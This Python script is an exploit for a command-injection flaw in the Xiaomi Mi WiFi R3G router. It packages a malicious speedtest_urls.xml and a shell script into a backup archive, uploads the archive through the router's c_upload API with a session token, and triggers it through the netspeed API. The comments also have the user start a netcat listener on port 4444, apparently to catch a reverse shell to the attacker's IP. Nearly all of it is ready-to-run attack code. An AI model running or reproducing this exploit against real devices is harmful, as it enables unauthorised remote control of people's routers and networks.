#!/usr/bin/python
# There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G before version stable 2.28.23. 
# The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, 
# so you can control the contents of the files in the decompressed directory. 
# In addition, the application's sh script for testing upload and download speeds will read the url list from /tmp/speedtest_urls.xml, 
# and there is a command injection vulnerability.

# discoverer: UltramanGaia from Kap0k & Zhiniang Peng from Qihoo 360 Core Security

# HOW TO RUN
# Install requirements
# pip3 install -r requirements.txt
# Run the script
# python3 remote_command_execution_vulnerability.py

import os
import shutil
import tarfile
import requests

netcat_port = "4444"
print("Start netcat on port {}".format(netcat_port))
print("(The way to do this in MacOS is to open a terminal and run '/usr/bin/nc -l {}')".format(netcat_port))
input("When you are done, press any key to continue")

router_ip_address = input("Router IP address: ")
#router_ip_address = "192.168.0.21"

attacker_ip_address = input("Your IP address: ")
#attacker_ip_address = "192.168.0.25"

## get stok
stok = input("stok: ")
#stok = "8f84067eb7408c39f77969c50a73b2f2"

# From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09
# In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444
command="((sh /tmp/build/script.sh) &)"

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

if os.path.exists("build"):
    shutil.rmtree("build")
os.makedirs("build")

## make config file
speed_test_filename = "speedtest_urls.xml"
with open("speedtest_urls_template.xml","rt",encoding='UTF-8') as f:
	template = f.read()
data = template.format(router_ip_address=router_ip_address, command=command)
# print(data)
with open("build/speedtest_urls.xml",'wt',encoding='UTF-8') as f:
	f.write(data)

## make script file
with open("script_template.sh","rt") as f:
	script_template = f.read()
script_data = script_template.format(attacker_ip_address=attacker_ip_address, directory="/tmp/p", port=netcat_port)
# print(script_data)
with open("build/script.sh",'wt') as f:
	f.write(script_data)

print("****************")
print("netcat_port: " + netcat_port)
print("attacker_ip_address: " + attacker_ip_address)
print("router_ip_address: " + router_ip_address)
print("stok:" + stok)
print("****************")

# Make tar
with tarfile.open("build/payload.tar.gz", "w:gz") as tar:
	tar.add("build/speedtest_urls.xml", "speedtest_urls.xml")
	tar.add("build/script.sh")
	# tar.add("extras/otapredownload")
	# tar.add("extras/wget")
	# tar.add("extras/xiaoqiang")

## upload config file
print("start uploading config file ...")
r1 = requests.post("http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip_address, stok), files={"image":open("build/payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)

## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(router_ip_address, stok), proxies=proxies)
# print(r2.text)

print("done!")

